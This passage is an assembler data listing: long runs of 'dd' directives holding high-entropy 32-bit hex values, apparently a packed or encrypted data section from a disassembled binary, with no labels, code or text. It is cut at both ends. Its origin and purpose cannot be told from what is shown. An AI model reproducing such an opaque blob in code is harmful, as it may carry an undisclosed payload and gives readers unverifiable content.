22F3EE3Eh, 38F3D83Eh, 81AF793Ch, 0C419C9AEh dd 242F5A38h, 0F78BEFC0h, 4720CD07h, 0BAD3FEDh, 0C59C312Ah dd 19B41DEBh, 0C4135121h, 891608D7h, 402D59EFh, 0C49E9E22h dd 3B1CF738h, 73B402EFh, 0F3A538h, 0B375D67h, 43E100C4h dd 7C307D66h, 392543CFh, 0F694E784h, 23C55B3Eh, 0B64C5A3Ch dd 4FB2071Eh, 303140EFh, 9F347CA8h, 60A84897h, 0B683751Fh dd 7CECFACFh, 0C971D8h, 0DD8438D2h, 0D0A9ECC0h, 8067CF9h dd 0C71EF4E2h, 0CD2DFCACh, 716ED44Fh, 9D87FF30h, 51B4D224h dd 8E2B664h, 9F2E6F17h, 2E6EB015h, 0D0C29132h, 0F822A031h dd 0B8A750FDh, 0A7915698h, 0DAF2436Bh, 0E286215Bh, 0E11DE1h dd 40AF595Bh, 5B9B72EDh, 9F280110h, 0EA8F4F33h, 0FCF15F5Eh dd 1E23E14h, 0E8D90803h, 0EE2EE129h, 2F154CEEh, 0D69D5AEEh dd 740C6DCBh, 74146DF1h, 74186DFFh, 74EC6DE5h, 0E5994F93h dd 1CC48752h, 29345E4Ch, 3CA4F3DEh, 0F128216Ch, 214C8374h dd 0CFC051F4h, 2B257CC9h, 0F8407FD5h, 22AE52F8h, 9F2DA5FFh dd 0D98F5199h, 43E64C58h, 0D130F78Dh, 8370B5E2h, 0E8D47148h dd 6568CC6Bh, 0A805712Eh, 5BF906A7h, 15C5E1D9h, 4AB28718h dd 0D1D2747Fh, 58A62FCCh, 4B8446DAh, 0C8C977E6h, 0F41D3F28h dd 0D9FE1DCFh, 0D90EFE3Bh, 0C8A19CD1h, 0EF221D2Ch, 0A7FFB361h dd 3E419027h, 8DB8ADFAh, 498FA699h, 0E9620748h, 3F05A907h dd 4EF4B435h, 0D0B0EF6Fh, 0DF8080BDh, 0B0F7E5F1h, 0AB3E9E4h dd 0F89441CFh, 0A5A95EE4h, 0C321D920h, 1B20B644h, 6561B7C2h dd 893BE224h, 0AF5C71Fh, 70983037h, 1495AF57h, 0ECD703A0h dd 3EE60BAh, 7CB0CD79h, 0DE168CCCh, 87CCA80Dh, 20AB0348h dd 44674741h, 0E9F4AC3Bh, 3A64B4B6h, 0E0A7D78Ch, 0EBDAB18Bh dd 9F080382h, 829B56BDh, 45D860EBh, 0C5EDCB15h, 7A30C293h dd 0AE51D545h, 0B389AFF2h, 51D35CCBh, 2DE60F62h, 0AA2013C9h dd 70A0DEEh, 69B8B964h, 2F6C1CAEh, 80FAD488h, 0BE6FCE93h dd 1442EE95h, 591A7D0Fh, 7CFB754Ch, 0CA098830h, 0B969B1DCh dd 0CEFDBFEBh, 0A609A17Fh, 364F5049h, 9F30C6D9h, 906CEBC7h dd 75D1BC88h, 6199FFCh, 27D17772h, 0B167FA52h, 5937F2DCh dd 21FCF062h, 195E5326h, 0CC79CF54h, 0A7C4FBE7h, 4118B1B0h dd 830B1DABh, 95A0751Eh, 8EAC19C6h, 3CB2A4EDh, 32B0FC84h dd 0B09FEEFh, 966B485h, 89B6F3B7h, 0B7AD3C4Ch, 0FC16B10Ah dd 165C4CD9h, 0DC359674h, 530E569Bh, 0C5F4A9CEh, 952C847Eh dd 260479DEh, 7661B43Ch, 827E75FFh, 913B8EDh, 9CA28EF4h dd 65AB1AFFh, 3CBBD8A4h, 5B92E06h, 90DBFD09h, 0A6C72F63h dd 0F5C781D9h, 98A149C4h, 403849C4h, 3F4C5534h, 257D8121h dd 256175C2h, 6240CF89h, 0C84CA565h, 0DC0DEEDEh, 1AFDA61Ah dd 72F266FDh, 8EA8290Bh, 1F3132C0h, 0E86C0193h, 0AE3E0FC3h dd 77D06F82h, 0F59518E8h, 0BB0986C4h, 0B334951Ch, 0AC72A81Ch dd 7914666Ch, 0D54C711Ch, 38B4583Dh, 0C5B54B5Eh, 378063C0h dd 74DFBFDCh, 0CD16BD9Fh, 7CC6BDCFh, 4A076BD4h, 5DAD2AC6h dd 0C21534DFh, 0E41C1FFCh, 0F33E5F9Bh, 7F1543F1h, 12F8ACF4h dd 0ABC36762h, 262CAD29h, 4B11FE6Ch, 0EC72946Ch, 78E66150h dd 7D4D3AE8h, 0DCC10AC3h, 37C6E756h, 8771593Fh, 2F39C33Dh dd 11F688F3h, 0A8890EB9h, 1001478h, 32E6FB5Eh, 321144DEh dd 6DF2FACCh, 6E23FDD1h, 0F56C4B7Ch, 7E09393Ch, 0FB41C43Eh dd 44054E36h, 7C3DA016h, 5F415DF7h, 8EB1955Dh, 2B9D5CF3h dd 0DF5E7235h, 0FB1CC82Dh, 0ED14EA22h, 79252132h, 0A1ECC06Bh dd 395BBE63h, 0A00CC5BEh, 3DE52760h, 52D7A534h, 0AA1528FAh dd 9F04C467h, 1B075D78h, 0FEDDA1DDh, 4084361h, 0AC18EA83h dd 22B67F3Bh, 0AAA91FC4h, 312F101Bh, 0AFC461E4h, 9CC5FBDh dd 7BF6180Fh, 9F26A51Bh, 3CEA083Bh, 8FDEBD04h, 0D4D1B961h dd 45F4B7CBh, 21EC53BEh, 1B7CB766h, 0C70260FBh, 742A65C4h dd 0C6EC727Dh, 0DC6340D4h, 0D922815Fh, 0DFD8B5DEh, 8826019h dd 84FDDA41h, 27AC7713h, 0DC1C602Ch, 0A26B69BCh, 3D6B2AB0h dd 0D3373530h, 6A43E92h, 9DCD015Dh, 0E92CB3Fh, 0B9B8A9CAh dd 49DBC0Ch, 222FACF4h, 0DA3861BAh, 8AEB3E4Bh, 0FF19B9C6h dd 23749DD4h, 5077D3Dh, 0F5075E38h, 227E1DE8h, 0FAE41889h dd 0B3CC65F2h, 409E1889h, 0BB4C0350h, 0A0AF5BC3h, 55FE9C10h dd 0E01D13Ch, 2B524D73h, 0E41F7EA7h, 352AA01Bh, 0E3F054D3h dd 1018D9D2h, 0E34CB02Fh, 90118B29h, 4C96BBBAh, 0FEF39D14h dd 0CA7465F5h, 25035C84h, 76E6550Ch, 1ABDDCFEh, 112F0F48h dd 3D541CFAh, 0FDB2B200h, 0D53B5535h, 0E34D856Bh, 0C462F701h dd 67E8FCF0h, 0ACF666E7h, 7BF971EFh, 0CF0CB9A1h, 8EF2BE5Ch dd 2C747C23h, 0C40C519Ch, 5FECBAD8h, 79F25EEBh, 0CE7C24C5h dd 12228223h, 2127E423h, 0A030B224h, 33C74FAh, 2BB1B9B1h dd 38F09D51h, 660EC75Bh, 0C3B52A8Ch, 9B2D6923h, 0FD2F007Dh dd 0C052570Dh, 2A4E6979h, 0ADE25DDFh, 0DDEE1D19h, 7A4FE14Bh dd 0C1BE77A6h, 829158F8h, 6B49DCD6h, 9D0A9FF1h, 0A4FBA4F8h dd 0FD0FB8EFh, 4FF2D69Ch, 1DD2E570h, 0B24429EAh, 6FBC54A7h dd 46B2F2C4h, 29F647h, 22037CE1h, 703C2A68h, 0C4DEB35Fh dd 0DCCF8BC0h, 0A3FB54B0h, 0FC23B4F3h, 432887F4h, 0CD0C10C8h dd 1C2B7A97h, 562DF73Bh, 0B619D1E3h, 8C60952Dh, 0B9E54C6Ah dd 4ACBB60Ch, 0E4D18CBAh, 7FA44B7h, 714C6CD3h, 6249ED73h dd 8ABDD2CEh, 0C5484F77h, 3C14589Eh, 15E3E8CFh, 2A37717Ch dd 26A9D9B1h, 0D40F66AEh, 5299B93Bh, 0FDE5D2EEh, 0B96C58BDh dd 0DA9F633Fh, 0C30348DFh, 0F60306BEh, 0EF0670A2h, 30CC72CAh dd 0B9D5D9C0h, 364A61B7h, 0DE117538h, 0FBEA4BBCh, 0FB4C9108h dd 6C483CF8h, 0C5E3485Fh, 0ADA0664Ah, 0D1A3A7CFh, 0EC04EDE1h dd 4166E32Eh, 27E70718h, 0D50E0E57h, 6417F47Fh, 7F829796h dd 5055D25h, 6C5CB4DDh, 0EA06342h, 0C1FCBEF4h, 259D8CA3h dd 0CD95976h, 5608F181h, 0FA74EC00h, 0FF4C903Dh, 0D33EEA57h dd 1493FD92h, 28C13037h, 0C040CC5h, 5FF51F19h, 789AEE35h dd 0DDC92181h, 88CC64B7h, 0BE98D67Eh, 4BAD3328h, 0D79FFF1Ch dd 0E65839B3h, 6810457Eh, 0F930E995h, 3F6D22DDh, 301FF0Eh dd 0A348F14h, 3B197F6Ch, 1F2E93CFh, 0F470EE8h, 9AA642CEh dd 33536059h, 7AA8F899h, 3DD2E16Fh, 76DA2BE0h, 0C6D7B7E9h dd 0F3249C8h, 1AA96A0Eh, 0AEB4E67Dh, 0CDB76782h, 0D00404E7h dd 78F87454h, 0B166A8Ch, 0EC3903FFh, 0B007ECAh, 358B609Ah dd 0F081504h, 0D5ECEF53h, 3A530954h, 0CF0FDC8h, 1A96AACh dd 28F42AC9h, 0C9340C4Fh, 0F3A4EB32h, 8AF80D21h, 7ADFB51h dd 0C4AF909Eh, 84ADB0BAh, 422F2867h, 567262CBh, 82CAC637h dd 7CD9E42Ch, 0A0487E1h dd 848B23Bh, 0DAE07120h, 0C5DA60C7h, 0EE4F9E92h, 0D838ECABh dd 9BB85D02h, 170474F9h, 8E624822h, 0F8EF7FD7h, 47F2F5E3h dd 0D538E1EEh, 0FC36FB21h, 7D2175E7h, 0A534BDE0h, 0F04C008Ch dd 94E381CFh, 0E30E7520h, 0F42A66FCh, 904C03E8h, 0FE1C49DEh dd 0DB684184h, 9F2C8106h, 2CBC5750h, 0A0E01DE7h, 0FD34FB10h dd 0E86CE884h, 404C798Fh, 0FAE267E0h, 730F1E34h, 0FCF442FCh dd 18C91DE3h, 9F2A9512h, 0A0E38330h, 4C7AE4h, 0BF377120h dd 4BE2FC4h, 0A6C449C1h, 0BE0FC7FDh, 0B4F151E5h, 3D35D6D0h dd 0B4171AD9h, 14AC3EA3h, 0B40C031Ch, 0CFE2C3C1h, 0C82CECEFh dd 0BF6573FFh, 96166C9Fh, 0D0DAFCE0h, 468565EAh, 0DB784ACDh dd 0D5CE5835h, 7600360Fh, 0DD21615Eh, 0BBE2FC3Fh, 0E249BBE3h dd 7F6CC7DEh, 66507717h, 980B6A39h, 740C1096h, 579590CAh dd 2C6F82F1h, 0D4D9F384h, 473B8570h, 26DC93F3h, 29CD5C33h dd 785FEDD9h, 0D4E5BDECh, 215071A5h, 373569DEh, 0AEF064CDh dd 38F189EDh, 0C8734D6Fh, 0A9DA66BCh, 0D45508EBh, 0C5C548F3h dd 0CD3C17E9h, 0A309CBE8h, 7E145671h, 2E115FC0h, 0A34C8CA8h dd 0C9C02129h, 0F33FDB96h, 0D101C5CFh, 7F3F31FCh, 4D0DE8C2h dd 820B87CEh, 321BC03Bh, 3CF05ACCh, 77A85D2Bh, 77CC46FAh dd 0BCDF4268h, 79F89C7Dh, 334014C3h, 7929C63Ch, 0CE00712Ah dd 351F67ECh, 98E466C0h, 35E09638h, 0B2254EC8h, 33EF67BEh dd 0EAB46D2Dh, 3B14FDCDh, 2E34A1EBh, 0CD4C7F2Dh, 0DC610BF6h dd 0B0F08D63h, 8AB1D6FDh, 0F13D4ED0h, 2B19DC5Bh, 0D8F33DE4h dd 0CD788114h, 0F80058C9h, 22C08DF1h, 6419ADE6h, 0C1DD08F6h dd 0D7AF778Ah, 0D9B8EACFh, 2ED66879h, 0D39380C4h, 532648D7h dd 3319E1D1h, 3A1ABBCEh, 7CCEB70Eh, 0D47A47C1h, 0D0DB487Ah dd 0C73B0BCFh, 0BF35FD2Ch, 0A01AF98h, 3DB642D3h, 5A2C9F2Bh dd 0F0398CCCh, 0AF1FADA9h, 0AB00332Eh, 0CC4E5E14h, 0DDF53A5Bh dd 0D6638D0Ah, 3F168298h, 31FFECFFh, 26B1D8CFh, 633F6155h dd 31EA5C3Fh, 3D856A2Dh, 10ACB97Ch, 0F5299497h, 98CA6A9Ch dd 0F148622Ch, 22A9B9FDh, 0FC4148E0h, 2BB4FACDh, 0D59F43A7h dd 0D7950158h, 855A64D0h, 0B05682Eh, 320721E6h, 7B3C0CBCh dd 2F8FBC26h, 69309D1Ah, 0ED0726D1h, 0FCFC6C7Ah, 0B1B4FA47h dd 0B015AA1h, 0DC9752DDh, 0DB874CFFh, 3180AF96h, 36C86730h dd 0ADA852Bh, 0F1B81AB3h, 0F66759FEh, 8A8F4576h, 6C544046h dd 0F46BDBF5h, 0C7EA7C9h, 7D6B584Ch, 55EA537h, 3936CE0Ah dd 5BA731FFh, 0B81AF77h, 9CE37FA5h, 0B4C36B45h, 193675FCh dd 0D4453BF9h, 0CBF262FCh, 0C4E405F0h, 2F37BB2Ah, 2EA475CCh dd 65E4E9F9h, 0CA0204FCh, 0C446A5D4h, 643773EEh, 0FB34C16Ch dd 544776EAh, 0E92D7564h, 0C464C2FEh, 0CA4276FCh, 0C7052562h dd 533733C5h, 8C3444ECh, 950449FEh, 0CA9207FCh, 0C4604517h dd 0EE36E3E8h, 4DA58833h, 0B6D3899Ah, 0C8E6F5ACh, 12D55DC3h dd 9C9874Dh, 71055272h, 247017CEh, 0A0645D1Bh, 1BCC7751h dd 0AC44E560h, 0A10075CCh, 754C79ABh, 0AAF8070Ch, 80881C28h dd 0C9E4C30Dh, 0CFE10766h, 0BA1F2ED9h, 0DF3CD738h, 0D4A07A39h dd 54EB766Dh, 5CD97642h, 0D5112E7Bh, 395899CAh, 95846531h dd 71A706E2h, 0CADB00F0h, 3B0459BAh, 0F53A3AEFh, 5D1EFB25h dd 7F3C07CDh, 40DB7333h, 0DE317920h, 2A680218h, 0D2772C53h dd 0CFBC50A5h, 69AC7303h, 7DE254CCh, 2A91F8E4h, 8B22AED5h dd 0F70D6F7Ah, 33EC6523h, 7C2792A4h, 0BD7DA814h, 0CAA6B5C6h dd 0C9D01DF0h, 4F8E4393h, 581D1F3Fh, 2404A3C9h, 9394B83Bh dd 0FF07B53Fh, 0AECF00F5h, 5BBF2A3Dh, 0BAE409Ch, 26F4B996h dd 17A275CEh, 79B9DD3Eh, 8A712084h, 0C596A0C5h, 4FE208FBh dd 2C4EB475h, 0D7F3C47Eh, 0C84A750Eh, 0DAA12989h, 0D7BB75CFh dd 0C868FD6Bh, 60668434h, 0AB74427Eh, 2D8664Fh, 0C88D7204h dd 5A05886h, 0BEDBB7ADh, 0F0414237h, 0D8C54067h, 0F2A76CB6h dd 0DE06939Ch, 90CE0306h, 698E5713h, 7CAE2D48h, 0C5807039h dd 0C5451CFCh, 0E4384DDBh, 1EB583F0h, 2769814Fh, 0FF5D37D9h dd 0C36FB482h, 47040B20h, 69343524h, 0A6858B79h, 0C90517DDh dd 3DBB1D2Ah, 0DC0B492h, 0D96A1276h, 0E7821124h, 0C7319028h dd 16A1B73Fh, 69A5259Eh, 0DE349DF6h, 0C25AC3ADh, 53A6692Bh dd 9D9D452Ch, 0BEA4B60Ch, 4B25C0EDh, 0F392508Bh, 2B5B3AABh dd 0C401B1D8h, 4CCBFAD4h, 97F549FFh, 422823E1h, 35F6B53Eh dd 2BEC3DADh, 3C824E3Ch, 2DA44F14h, 0F745606Fh, 0DE6BCB28h dd 0C3469FD0h, 0DC2160F8h, 72F723Eh, 0D4C68D3Fh, 1F36019Ch dd 435F5970h, 788F457Dh, 214461D5h, 4619B81Eh, 0E83139A5h dd 0D4EEACF1h, 0DAF83695h, 72E0CCEBh, 0AFA6EF6Eh, 932D7451h dd 0C404701Dh, 6F87B912h, 894C7067h, 0E8B9B73Ch, 9CF18710h dd 17DA6955h, 5C482827h, 4E5E89Dh, 6CE67E48h, 7E8CE4C5h dd 3AC3A1FFh, 0C5187861h, 20A4CE6Eh, 29DF4968h, 91F475E6h dd 0FF36CC70h, 0D4A0DE83h, 0EFF77CE8h, 5D441BA1h, 871A2295h dd 0C70EDFB0h, 0D6E6EC04h, 0BD7B20F6h, 37006D1Fh, 0D2475F84h dd 0FB04FCAAh, 0EBA55C58h, 0B01A6D73h, 0D526F114h, 5FD8F2D0h dd 356CD8A8h, 4345EBE3h, 5A3E80AAh, 0A462956Dh, 549E31A1h dd 2A88B149h, 0FB07CF2Eh, 0C1E98FFFh, 295A1331h, 0B6A5A2C0h dd 24E26CC6h, 0A929C89h, 39711E27h, 574C7666h, 5E1432C5h dd 0F42DC3C0h, 0F8D1D84Ch, 961B3670h, 0E6BAD347h, 0EB293CFAh dd 27604D27h, 0F9647C18h, 774D04FAh, 0AFDFF23Eh, 0F331F159h dd 16F4B6EBh, 448FDC17h, 0C42027F4h, 5BAC78C1h, 0C5FE04FFh dd 0C939BC16h, 7D6F1121h, 6B3B13F0h, 4F053A06h, 0A5E5E5EEh dd 6268C8F9h, 0F020566Fh, 549BDCB4h, 82F3512Eh, 0BEE218C8h dd 9C01A84Ch, 459314CCh, 6FD0A129h, 13878CFh, 0FF216466h dd 33407A4Fh, 0C69B74C6h, 7DB4EB78h, 0A9F4F529h, 0D4F6E1FAh dd 1D1601BDh, 0DC07DDFEh, 6CF39FC6h, 60E1DEAh, 83BC84FDh dd 4554FE25h, 53D643C3h, 74574ED9h, 0DEAAC1C0h, 1D009CCEh dd 926662FFh, 0C11074FEh, 0FB2C02CFh, 22C221FDh, 652A67FEh dd 0E6E1BA13h, 4A26CBE6h, 40B4BB04h, 0FC876078h, 0FD37D197h dd 253E3D68h, 410C5FA6h, 0C169B54Bh, 8032D9B9h, 24A2B4FDh dd 150DCCCBh, 301F0564h, 61E266A6h, 0D4E9452Ah, 1AD4FC96h dd 0CB346C6Fh, 0C1F26087h, 8CC2A1FAh, 5A1D49h, 0C4A3B0A3h dd 0C11381E7h, 2F191CFh, 0F5B7765Fh, 3A7834D4h, 0B8FC64FFh dd 0C12164E6h, 85B40A30h, 0F471BE3Ah, 50167BA7h, 5184ED28h dd 5DBD0018h, 1FC6B05Eh, 0C05AFD4Fh, 89E1B08Bh, 85C55E1Bh dd 302F7745h, 7931C170h, 0A734B725h, 0E3C736F4h, 540F8710h dd 481342C4h, 0C7206A7Fh, 7D28A287h, 0B140A3AAh, 0CDF5C2DEh dd 38317DF8h, 0A3954ADCh, 0C22174C5h, 65294A84h, 0BEE1CFA5h dd 6028A92Eh, 10D08083h, 5DA8DE63h, 0C927B806h, 1F0A657Ah dd 1C8E5900h, 14F76DE4h, 0C6751DE0h, 0BB679473h, 6B204EE4h dd 1A945E6h, 0B0F67F9Dh, 0BA9C895Fh, 0EF2C0325h, 0A94D7BE1h dd 0F2E05D50h, 0FC88E2EEh, 20E07504h, 9F347800h, 69A5797Eh dd 72F8E5E2h, 0F10EBCF9h, 942721FCh, 0D6C27E4Fh, 9C7D017Eh dd 20F5A9EEh, 0BCD05F0Ah, 3F2CFE6Fh, 0A983F350h, 8A4C7BE9h dd 2AECBF35h, 0AAAE7100h, 6B3427BDh, 7A4D61E5h, 0A1FD6C08h dd 98A1E304h, 0FD6454FCh dd 5A9D1D02h, 7E14CD18h, 7432D9F9h, 4BB0E245h, 70A72039h dd 5BC60AD9h, 5486A7FDh, 3B8A1DFFh, 3A874DE1h, 7EC6A829h dd 5B687EBDh, 7B267CCEh, 0D54C5C57h, 6B368D6Bh, 35757E28h dd 0E3D287F4h, 0B05256EEh, 0E4B6455h, 0C1A4441Eh, 0AE2DA07Bh dd 0BC4F722Ch, 1F23A9D6h, 0F76D5908h, 32A0B900h, 10DD618Bh dd 4DACBA20h, 0FE4F7FEFh, 0FD2DEB64h, 620DA504h, 15282DEBh dd 0EA30F1CFh, 0DEE301E4h, 49C139CFh, 5F36E1C7h, 9FCBA43Eh dd 0A806E4h, 42BA4A00h, 14DA7022h, 0CFC81DF8h, 9BB2777Fh dd 45259DD7h, 2D037FADh, 8AF0B705h, 0C19D7809h, 0FDF3102Dh dd 8902C005h, 3F318C5Dh, 0F7AA5F35h, 0E2C750Fh, 0C53427BEh dd 5D1C7C04h, 0E2645FFh, 8D4C726Ah, 0CE9749E3h, 0CB2BC7EDh dd 84FBA9Ch, 3A2947E0h, 49033DEEh, 0F5FD1161h, 8FD2B310h dd 0B5FD95Bh, 0C834B752h, 0BF92BC17h, 0CBC542C7h, 0E2F5478h dd 82C47C3Eh, 672DECE3h, 7A37C48h, 79C67DC4h, 7BDD8B95h dd 0EA0C95F9h, 9C15C242h, 0B5E1AC01h, 0E7107775h, 4A3A1E6Eh dd 505FE250h, 0C4334752h, 0C6617C25h, 0CF53EAE9h, 4DC07D0Bh dd 0CE60996Eh, 65F0D0CFh, 3EC179F4h, 50ACC1FAh, 2A11DDFh dd 153E3DDFh, 0EF000372h, 0D3A2333h, 0FD8C50DCh, 39566177h dd 0CBEC637Dh, 0C4A38AE7h, 2B5D7C0Ah, 62D5B491h, 2EF03447h dd 0C323760Bh, 0FBE663C7h, 4BAE5C7Ch, 3410A116h, 0C34F1DF6h dd 28F84E78h, 0D1CC4E64h, 814C698Fh, 3DBBFAF8h, 9616B5B1h dd 2422A2D5h, 0E236526h, 202761F8h, 0CB28D978h, 5CBAA361h dd 1C230CC1h, 0A630BFD8h, 0B8BB355Ch, 13867E07h, 568619A4h dd 4C6B8Fh, 46F08434h, 34C6BFFh, 0A9352262h, 0FEBB5F26h dd 2D58BFF8h, 0C230C00h, 872073Bh, 0F0672A37h, 0FF2F42E6h dd 0D77C04C6h, 0C27B5E84h, 0FB1B4203h, 0CB7B1DCCh, 0D768A3FCh dd 9CAC6309h, 70C9E1DEh, 0D634823Ch, 76799779h, 463C07FFh dd 0A4A27F37h, 3BAB1DCFh, 30DE5CF9h, 0DB22260Eh, 0CA70FF34h dd 67F7D6Eh, 6B32BA20h, 28271AEAh, 0B9221E3Ch, 350E3DFh dd 0CE670C39h, 66D57407h, 0D732783Ch, 0C923BFCCh, 2F21AF87h dd 1AB5DDFEh, 7CF77D8Bh, 65EC73E4h, 3E157DCEh, 0F58074EAh dd 2021B59Fh, 7DBD63Eh, 0C276D829h, 0BDC0FFB8h, 0B796A4CEh dd 0FD961DFAh, 0BDB1ED42h, 0ED0C7A2Fh, 1FEDB8DAh, 0B8AF55F8h dd 4863D1C4h, 2996B7B3h, 0DA00AC95h, 1463D141h, 5FA6B4Ah dd 0A0C368A4h, 0DDA28726h, 0CBA781C8h, 8501B462h, 36CD5BF0h dd 0C3EF0839h, 0DC964EABh, 44709182h, 0F851DFA2h, 34B4280Eh dd 423C5C3Ah, 0B8266300h, 0FC4B7CFEh, 31B6F778h, 0D9647879h dd 4B2D3684h, 270294E5h, 1E997C52h, 778D1CF3h, 0BF2EBD12h dd 59E20CA7h, 0D24C5C6Eh, 0D530E7E8h, 9C4C73EEh, 0E01C032Bh dd 8ABDC275h, 0E4DD7C55h, 0E9CD925h, 582BC5CFh, 38226E8Dh dd 0FB617DF2h, 0AAA71CE2h, 3BA432D4h, 284C7EEEh, 7E5A1BE4h dd 8A0EBD03h, 6420AB68h, 0C43B0711h, 6B460610h, 80E71C1h dd 85E5B0B9h, 0C6077D8Ch, 6326DC68h, 0BB4C75C1h, 940917E5h dd 2BDB7DDAh, 1176A97Ah, 59B0CF3Fh, 9F142494h, 0CB27B1E2h dd 2123FDBDh, 0A87E0E84h, 0F9BD5487h, 0E25C504Dh, 0B01CC153h dd 0C9BD843Fh, 0EDEEADD9h, 2D2739FFh, 2A38C067h, 2036FF0Ah dd 5F1A8C13h, 374540EAh, 10AD7043h, 9F147754h, 0FC27ADCFh dd 60D99F18h, 0D967201Bh, 8316729h, 0C4C48C35h, 0FDED3D1Ch dd 0B9B000E5h, 4B2901CFh, 0F976A8FCh, 0B53DBD76h, 64CA7AECh dd 78EB1F6Ah, 0CAD232CFh, 0DAF1F09Bh, 78C2EE4Eh, 28A2BC56h dd 0C6B6196Bh, 0F6A13B2Ah, 0AA9FBBEFh, 3903C2D4h, 0FEC975E9h dd 25D5B964h, 0FAFAF2E4h, 3B59E500h, 251FFFEEh, 2A46A97Ch dd 0CA29A0FFh, 20690C65h, 0C35EF6DFh, 5463046Eh, 11186608h dd 0CAFB042Ah, 43C493Ah, 204CE97Bh, 56103A8h, 0CC17772Ch dd 3F095624h, 594C81CAh, 0B0094261h, 22EA37F7h, 955A9104h dd 54B2CDF4h, 16EFE01Fh, 28C0A3C9h, 40E367C6h, 81B747D5h dd 0D47EAAD0h, 0F80C1DDBh, 2EE0A751h, 37B041DEh, 44B97D3Eh dd 9F13C7CFh, 0D590B93Bh, 28C50615h, 5866AE84h, 0CFABE4F8h dd 0E20342DFh, 883B8AE5h, 2F263386h, 782B7233h, 8C00196Fh dd 2E636DF8h, 2F1FD779h, 6ABE40CFh, 147264CCh, 0D1893C3h dd 0DF98F8EDh, 0F568B6A9h, 75FB09EDh, 0D2A97D5Ch, 0FE0D1D6Eh dd 3AB5318Dh, 0BE147CEEh, 801CABEAh, 0B93204A7h, 0C172DE6Ah dd 8FB6FAEDh, 6E98A55Eh, 0BA5B0DCFh, 35314353h, 0C413F8C4h dd 799543D4h, 17490405h, 0D62C6A4Fh, 0E14A08Dh, 0AA9C8A7Fh dd 195B0EC9h, 0DD34414Eh, 5D25B5AAh, 37B4787Bh, 7C8C077Dh dd 0FA07B108h, 1C3D8986h, 66ACF5E7h, 36958ABDh, 0D2C5D1EBh dd 8955EB52h, 9607D59Ch, 0BF4B6431h, 9C2ECECFh, 90DDF094h dd 718AEA9Ah, 576CDDBDh, 99469FAEh, 0C829BD5Bh, 428C8720h dd 4DDB8E72h, 0EEB37AEDh, 0D5B6C97Ch, 416C0AEDh, 99BA1374h dd 46F47D5Ch, 0E43558BFh, 0BC545E35h, 22E6E8EBh, 62BD0730h dd 0F5757224h, 1966C81Dh, 0A48E6758h, 0F60692E3h, 0E386392h dd 10EB32B2h, 0F1B701CFh, 78C0DE92h, 26942951h, 455B0EC9h dd 9CE403E2h, 7C051259h, 922CAB3Ah, 9DCB7167h, 702A5854h dd 0E722271h, 786B140Eh, 0C94CB6A8h, 0CCF751DFh, 25E081EFh dd 7EA9603Ch, 3C54123Eh, 0ED0E390Eh, 8E0A592h, 0F03660DDh dd 3DF43ACAh, 58E630Ch, 785AC484h, 0F5056525h, 7F5929E0h dd 0C3C6F07Ah, 489FA98Dh, 0C541B015h, 0B643B020h, 625B0167h dd 0D928F78Bh, 9839EE4h, 7FAC067Ch, 0C5CEFB2Eh, 40066D3Fh dd 0FF88DFFCh, 0B8E7184h, 0D50708E8h, 0D0F7E1F4h, 2B35011Eh dd 0E85941F8h, 3B6B59EFh, 5CFC3E97h, 0E627AE32h, 0C88E9B3Eh dd 266C0785h, 0C559CA2Eh, 7B2169C4h, 0D0582ECFh, 6E61645Eh dd 0E949ACD7h, 0CB47D0C5h, 0C0213EC8h, 11064B08h, 651CA448h dd 0FCDE74EAh, 0C2F2BD22h, 16B86D4Eh, 0B250E52Eh, 0AECBA763h dd 2536B1EEh, 0F22B168h, 0FFE6FBC0h, 0CA8D67CEh, 0B0347BE2h dd 0B6E21694h, 9052D231h, 0C8F8CDA3h, 0A20D81DEh, 0FC60A990h dd 0A134ECC5h, 0C9BDED7Ah, 121CA68Bh, 58504686h, 0C29AB2F7h dd 32057DC9h, 0A858B3E7h, 272D47FBh, 0BEA5DE1Eh, 0EE281D0h dd 0DA3478C9h, 0F888F3A4h, 0CE5E4D7Eh, 11180ED1h, 0E254E221h dd 948458BAh, 0B0C8F763h, 592AA07h, 0C7F0E236h, 0DF311D2Bh dd 0EB32A192h, 7DA064A8h, 47A985E8h, 0EB759821h, 0D3ED0C97h dd 0D5574291h, 0DDF8E502h, 44382A84h, 4072E88Ch, 23134C86h dd 0CE269FCFh, 0F3F3A86Bh, 0D4E9E236h, 7CEAD0F5h, 1E0CF52Eh dd 5C54AEF2h, 257BAEFh, 404C04E6h, 0E7CAD23Eh, 0D33176FFh dd 7A205D4Eh, 0BECD15A5h, 0FEC710Fh, 807DB88Bh, 0A837F6F8h dd 5034AF22h, 0DCA80A9Eh, 386DF938h, 0DDADA4FCh, 3F201487h dd 0F5E08245h, 2DE7FBD5h, 5BED90F6h, 0D90CE4CAh, 654D3AE0h dd 5E6D3793h, 4876D4D3h, 1F2D58E6h, 0A75A639Ch, 0E9511E09h dd 0F5C88846h, 0FC5CBE65h, 7F4F57F4h, 2BA70BACh, 14B50DB5h dd 0FFB016B7h, 0F596E5FFh, 88528BFCh, 0CE169C25h, 0AD71FCBBh dd 3FE6ABD9h, 8F9AEEA3h, 84A2011Eh, 7D5638D8h, 25B0C691h dd 29E1CA79h, 0A754A40h, 5CF408A7h, 152C01CFh, 0FDE03795h dd 34FC2E2Dh, 0EFE7E644h, 163C422Fh, 894DFD02h, 479D070Eh dd 0E3F41C1h, 0D105CEF0h dd 0D0D59067h, 4A5DE847h, 0D051C2E7h, 0CAEFD552h, 0E221CEC0h dd 0B41C60DBh, 0B551434Ah, 0EE681DEAh, 0FC85C6F4h, 9C014E4Fh dd 0CCD4C5CEh, 0A6A308BBh, 484DAF50h, 0A9AC7D3Ah, 2452F12Eh dd 3AA3147Ah, 1308FE29h, 0E81BA712h, 0FFE70A72h, 7AC7A6D8h dd 0D432B9CFh, 6B316398h, 9C347E0Fh, 894CAB86h, 32AD072Dh dd 4318AF20h, 4E5E5224h, 5187A6FCh, 0FC75B148h, 0EEE17BE4h dd 4D98BBEEh, 0C328635Dh, 6B91CC6h, 0DA2626CEh, 0E12E1380h dd 584F519Ch, 0CC7960C3h, 0E8E1F640h, 20B32DB6h, 48AC552Eh dd 0A1A07C7Ch, 2311E99Dh, 0E53660E6h, 0D95009h, 65DE65FFh dd 700EED39h, 0E691509Dh, 0FC0656F6h, 9F0CC8E8h, 0E3691A5Eh dd 512CF8F9h, 0F421FC9Dh, 306AC28h, 0D0EAE557h, 95AFEF86h dd 0FF279F01h, 4AC32199h, 9C0FB367h, 5363B6Dh, 8A0CEBE1h dd 0B67CB7CCh, 0E63D4467h, 0C304BCAAh, 0EB931DFBh, 9F29D551h dd 6550B6B1h, 